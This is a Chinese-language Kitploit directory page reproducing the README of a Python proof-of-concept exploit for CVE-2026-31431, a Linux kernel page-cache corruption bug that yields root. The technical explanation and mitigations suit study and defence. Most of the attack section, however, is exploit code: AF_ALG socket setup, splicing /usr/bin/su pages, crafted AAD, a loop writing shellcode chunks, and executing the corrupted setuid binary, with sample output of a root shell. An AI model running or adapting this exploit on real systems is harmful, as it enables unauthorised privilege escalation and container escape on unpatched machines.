Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-31431-python-copyfail-POC — Python 针对 CVE-2026-31431 的漏洞利用程序,该漏洞为 Linux 内核中通过 setuid 二进制文件的页缓存损坏实现的权限提升,可获取 root 访问权限。 | Kitploit
工具/GitHubGitHub/julichaan/cve-2026-31431-python-copyfail-poc
权限提升漏洞利用框架漏洞分析漏洞利用渗透测试红队二进制利用
GitHubjulichaan/cve-2026-31431-python-copyfail-poc

CVE-2026-31431-python-copyfail-POC

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

Python 针对 CVE-2026-31431 的漏洞利用程序,该漏洞为 Linux 内核中通过 setuid 二进制文件的页缓存损坏实现的权限提升,可获取 root 访问权限。

查看仓库
114个月前尚未审核

CVE-2026-31431:Copy Fail - Linux 内核权限提升

Copy Fail(CVE-2026-31431)是 Linux 内核加密子系统中的一个严重逻辑漏洞,允许非特权用户实现向 root 的权限提升。该漏洞影响所有主流发行版中的 Linux 内核 6.0.0 至 6.18.x 版本。

本仓库包含真实漏洞利用代码,通过破坏 setuid 二进制文件的页缓存并执行具有 root 权限的任意代码来触发该漏洞。


什么是 Copy Fail?

Copy Fail 是一个逻辑漏洞,允许非特权用户将任意 4 字节数据块直接写入系统上任何可读文件(包括 setuid 二进制文件)的内核页缓存中。

主要特点:

  • 确定性:无需竞态条件或时间窗口
  • 可移植性:同一漏洞利用代码适用于所有受影响发行版(Ubuntu、RHEL、Amazon Linux、SUSE)
  • 隐蔽性:磁盘上的文件从未被修改;仅内存中的页缓存被破坏
  • 容器化:由于页缓存跨主机共享,可绕过容器边界
  • 简单性:仅需 Python 3.10+ 和标准库模块

技术细节

根本原因:就地 AEAD 操作

该漏洞源于 2017 年对 algif_aead.c(提交 72548b093ee3)的一项优化,该优化将 AEAD 操作从异地改为就地:

之前(安全 - 2015):

root@kitploit:~
TX 散列表(输入)  ← TX 缓冲区(来自文件的用户数据)
RX 散列表(输出) ← RX 缓冲区(用户的输出区域)
                          
分离的散列表 = 页缓存页面为只读

之后(易受攻击 - 2017):

root@kitploit:~
组合散列表:
[ RX 缓冲区 ] [ 通过 sg_chain() 链接的页缓存页面 ]
↑                ↑
req->src = src   req->dst = dst  (同一散列表)

页缓存页面现在位于可写的散列表中!

组合散列表如下所示:

root@kitploit:~
[AAD + 来自 RX 缓冲区的密文] || [来自 /usr/bin/su 页缓存的标签]
                                  ↑
                                  边界
                                  (authencesn 写入超过此点)

触发机制:authencesn 算法临时写入

authencesn 算法是 IPsec 用于扩展序列号(ESN)的 AEAD 包装器。它执行 HMAC 计算,但需要在 AAD(关联认证数据)内重新排列字节。

在内核代码(crypto/authenc.c)中,在解密期间:

root@kitploit:~
scatterwalk_map_and_copy(tmp, dst, 0, 8, 0);           // 读取 AAD 字节 0-7
scatterwalk_map_and_copy(tmp, dst, 4, 4, 1);           // 临时:覆盖 dst[4..7]
scatterwalk_map_and_copy(tmp+1, dst, assoclen+cryptlen, 4, 1);  // ← 关键行
                                                        // 在 dst[assoclen+cryptlen] 处写入 4 字节

问题所在:第三次写入发生在偏移量 assoclen + cryptlen 处。在易受攻击的就地路径中:

  • 正常情况:此偏移量位于用户的 RX 缓冲区内部(无害)
  • 易受攻击情况:此偏移量超出用户缓冲区并落入链接的页缓存页面(严重)

内核将此位置视为"可丢弃的临时空间"并永久写入该值。页缓存中此位置的原始字节将永久丢失。

攻击链

root@kitploit:~
1. 攻击者打开 AF_ALG 套接字 → 绑定到 authencesn(hmac(sha256),cbc(aes))
   (无需特权;AF_ALG 默认对非特权用户可用)

2. 攻击者打开目标文件:/usr/bin/su(setuid-root 二进制文件)

3. 攻击者使用 splice() 将 /usr/bin/su 的页缓存页面
   作为"密文"和"标签"传递到 AF_ALG 套接字
   
4. 攻击者发送包含以下内容的 AAD 的 sendmsg():
   - 字节 0-3:填充
   - 字节 4-7:seqno_lo = 要写入的 4 字节值(由攻击者控制)
   - 字节 8+:填充

5. 攻击者调用 recvmsg() 触发 AEAD 解密操作
   
   在内核空间中 authencesn 的解密内部:
   a) 内核读取 AAD 字节 0-7
   b) 内核在 dst[4..7] 处写入 seqno_hi(临时,然后恢复)
   c) 内核在 dst[assoclen + cryptlen] 处写入 seqno_lo
      ↓
      此写入从用户缓冲区跨越到页缓存页面
      ↓
      对 /usr/bin/su 页缓存的 4 字节写入发生在此处
   d) 内核计算 HMAC(验证失败 - 密文是伪造的)
   e) recvmsg() 返回错误
   
   但是:4 字节写入已持久存在于页缓存中

6. 攻击者为每个 4 字节 shellcode 块重复步骤 2-5

7. 攻击者执行 /usr/bin/su
   - 内核从页缓存加载二进制文件(现在包含 shellcode)
   - 二进制文件是 setuid-root
   - Shellcode 以 UID=0 执行
   - 攻击者获得 root 访问权限

为何有效


漏洞利用:分步说明

步骤 1:套接字设置

root@kitploit:~
sock = socket.socket(38, socket.SOCK_SEQPACKET, 0)  # AF_ALG = 38
sock.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
req_sock = sock.accept()[0]  # 用于 AEAD 操作的请求套接字

创建绑定到 authencesn AEAD 模板的 AF_ALG 套接字。

步骤 2:打开目标二进制文件

root@kitploit:~
target_fd = os.open("/usr/bin/su", os.O_RDONLY)

打开将被破坏的 setuid 二进制文件。任何可读文件都可以,但选择 setuid 二进制文件是为了权限提升。

步骤 3:为 Splice 创建管道

root@kitploit:~
pipe_rd, pipe_wr = os.pipe()

创建将作为 splice() 操作中介的管道。管道缓冲区将持有页缓存页面的引用。

步骤 4:将文件 Splice 到管道

root@kitploit:~
os.splice(target_fd, pipe_wr, cryptlen, offset_src=write_offset)

使用 splice() 将 /usr/bin/su 中从 write_offset 开始的 cryptlen 字节传输到管道。

为何重要:splice() 在文件描述符之间传输数据无需复制。它传递内核页缓存页面的直接引用。这些页面保留在管道的内部缓冲区结构中。

步骤 5:构造 AEAD 参数

root@kitploit:~
assoclen = 8          # AAD 长度:字节 0-7
cryptlen = 32         # 密文长度(== HMAC-SHA256 输出)
authsize = 32         # 标签长度
write_offset = 0x2000 # 要写入的 /usr/bin/su 中的偏移量

aad = b'\x00\x00\x00\x00' + write_data + b'\x00' * (assoclen - 8)

AAD(关联认证数据)包含:

  • 字节 0-3:填充
  • 字节 4-7:要写入的 4 字节值(seqno_lo)← 攻击者控制
  • 其余:填充

authencesn 算法将在其临时写入中使用此 AAD 的字节 4-7。

步骤 6:发送 AAD

root@kitploit:~
req_sock.sendmsg([aad], [], socket.MSG_MORE)

将 AAD 发送到 AF_ALG 套接字。MSG_MORE 标志表示密文/标签将随后发送。

步骤 7:将密文+标签 Splice 到套接字

root@kitploit:~
os.splice(pipe_rd, req_sock.fileno(), cryptlen)

将页缓存页面从管道传输到 AF_ALG 套接字。现在内核的散列表包含:

root@kitploit:~
散列表链:
[ AAD(来自 RX 缓冲区) ] || [ 密文(来自 RX 缓冲区) ] → [ 标签(页缓存页面) ]
                                                               ↑
                                                     仍引用
                                                     /usr/bin/su 的页面

步骤 8:通过 recvmsg() 触发漏洞

root@kitploit:~
try:
    req_sock.recv(1024)
except OSError:
    pass  # 预期因无效 HMAC 而失败

调用 recvmsg() 触发 AEAD 解密操作:

在内核空间中 authencesn 内部:

  1. 内核读取 AAD 字节 0-7
  2. 内核临时覆盖 AAD 字节 4-7(seqno_hi)
  3. 内核将 AAD 的字节 4-7(seqno_lo)写入 dst[assoclen + cryptlen]
    • 此偏移量为:8 + 32 = 散列表中的 40 字节处
    • RX 缓冲区总共只有约 48 字节
    • 在字节 40 处写入会跨越到链接的页缓存页面
  4. 内核从临时位置恢复 AAD 字节 4-7
  5. 内核计算重排数据的 HMAC → 失败(伪造的密文)
  6. 内核返回错误
  7. 但偏移量 40 处的 4 字节写入已经发生并持久存在

步骤 9:为每个 Shellcode 块重复

root@kitploit:~
for i in range(0, len(shellcode), 4):
    chunk = shellcode[i:i+4]
    exploit_target_file("/usr/bin/su", base_offset + i, chunk)

漏洞利用循环,在 /usr/bin/su 页缓存的连续偏移量处写入 4 字节 shellcode 块。

步骤 10:执行被破坏的二进制文件

root@kitploit:~
os.execve("/usr/bin/su", ["/usr/bin/su"], os.environ)

执行 /usr/bin/su:

  • 内核从页缓存加载二进制文件(包含 shellcode 的被破坏版本)
  • Shellcode 位于已知偏移量处
  • 二进制文件的 setuid 位仍然设置
  • Shellcode 以 UID=0 执行
  • 生成 root shell

运行漏洞利用

前提条件

  • Linux 内核 6.0.0 - 6.18.x(易受攻击版本)
  • Python 3.10+(支持 os.splice())
  • 必须加载 AF_ALG 和 authencesn 模块:
    root@kitploit:~
    lsmod | grep -E 'af_alg|algif_aead|authencesn'
    
  • 系统的本地用户访问权限
  • /usr/bin/su 必须为 setuid 且可读

执行

root@kitploit:~
python3 exploit.py

易受攻击系统上的预期输出:

root@kitploit:~
[*] CVE-2026-31431 (Copy Fail) Linux 内核权限提升
[*] 目标:/usr/bin/su(setuid-root 二进制文件)

[*] 内核版本:6.12.0-1007-aws
[+] 内核 6.12.x 在易受攻击范围内(6.0 - 6.18)

[+] 找到 /usr/bin/su(setuid-root 二进制文件)
[+] 内核漏洞检查:AF_ALG + splice + authencesn

[*] 开始页缓存破坏...

[*] 向 /usr/bin/su 注入 33 字节 shellcode
[+] 在偏移量 0x2000 处写入块 0
[+] 在偏移量 0x2004 处写入块 1
...
[+] Shellcode 注入成功!
[*] 执行 /usr/bin/su 以触发 shellcode...

# id
uid=0(root) gid=1001(user) groups=1001(user)

缓解措施

立即措施(内核更新前)

禁用 AF_ALG AEAD 支持:

root@kitploit:~
sudo -i
echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif-aead.conf
rmmod algif_aead 2>/dev/null
exit

这可以阻止漏洞利用访问 AF_ALG 的 AEAD 接口,同时保持其他 AF_ALG 功能完好。

卸载易受攻击的模块:

root@kitploit:~
sudo rmmod algif_aead
sudo rmmod authencesn

通过 seccomp 阻止 AF_ALG 套接字创建(适用于容器化环境):

root@kitploit:~
# 在容器安全策略中,拒绝 socket(38, SOCK_SEQPACKET) 系统调用

长期措施(内核更新)

更新到包含修复的 Linux 6.19+(提交 a664bf3d603d)。

该修复将 algif_aead.c 恢复为异地 AEAD 操作:

root@kitploit:~
// 之前(易受攻击的就地):
aead_request_set_crypt(&areq->cra_u.aead_req, 
                       rsgl_src,        // RX SGL(输入)
                       rsgl_src,        // RX SGL(输出)- 相同
                       used, ctx->iv);

// 之后(已修复的异地):
aead_request_set_crypt(&areq->cra_u.aead_req,
                       tsgl_src,        // TX SGL(输入)
                       rsgl_src,        // RX SGL(输出)- 不同
                       used, ctx->iv);

使用独立的源和目标散列表:

  • 输入:TX 散列表(可能包含来自 splice 的页缓存页面)
  • 输出:RX 散列表(用户缓冲区)
  • 页缓存页面永远不会出现在可写的目标中
  • authencesn 的临时写入保持在用户缓冲区内部(无害)

漏洞时间线


受影响版本


此漏洞为何重要

  1. 跨发行版:同一攻击适用于 Ubuntu、RHEL、Amazon Linux、SUSE
  2. 无需特权:本地非特权用户 → root
  3. 容器逃逸:共享页缓存意味着可能实现 pod 到主机的入侵
  4. Kubernetes 影响:Kubernetes 集群中的节点逃逸向量
  5. 逻辑漏洞:不是差一错误或缓冲区溢出;纯粹的逻辑缺陷
  6. 隐蔽性:无系统崩溃、无日志、磁盘文件不受影响
  7. 可靠性:无需赢得时间窗口或竞态条件

参考

  • Xint Research 披露:https://xint.io/blog/copy-fail-linux-distributions
  • 内核修复提交:https://github.com/torvalds/linux/commit/a664bf3d603dc3bdcf9ae47cc21e0daec706d7a5
  • 易受攻击提交:https://github.com/torvalds/linux/commit/72548b093ee3
  • CVE 详情:CVE-2026-31431
  • 研究团队:Xint Code / Theori

免责声明

此漏洞利用仅用于教育和授权的安全测试目的。未经授权访问计算机系统是非法的。在测试漏洞前务必获得适当授权。

下载工具
方面说明
无崩溃从内核角度来看操作完成
确定性无竞态条件;同步且可靠
持久性即使在 recvmsg() 出错后页缓存破坏仍然存在
不可见性磁盘文件未受影响;标准完整性工具检测不到任何内容
通用性相同代码适用于所有发行版;无需按发行版调整偏移量
可移植性适用于 x86-64 和 ARM64 架构
日期事件
2017-Q3在 algif_aead.c 中引入漏洞(提交 72548b093ee3)
2026-03-23报告给 Linux 内核安全团队
2026-03-24内核团队确认漏洞
2026-03-25提出并审查补丁
2026-04-01补丁合并到主线内核(提交 a664bf3d603d)
2026-04-22分配 CVE-2026-31431
2026-04-29公开披露(Xint Research)
系列状态详情
Linux 5.x✅ 安全早于漏洞引入
Linux 6.0 - 6.18❌ 易受攻击所有次要版本均受影响
Linux 6.19+✅ 安全包含修复(提交 a664bf3d603d)
Linux 7.0+✅ 安全修复合并之后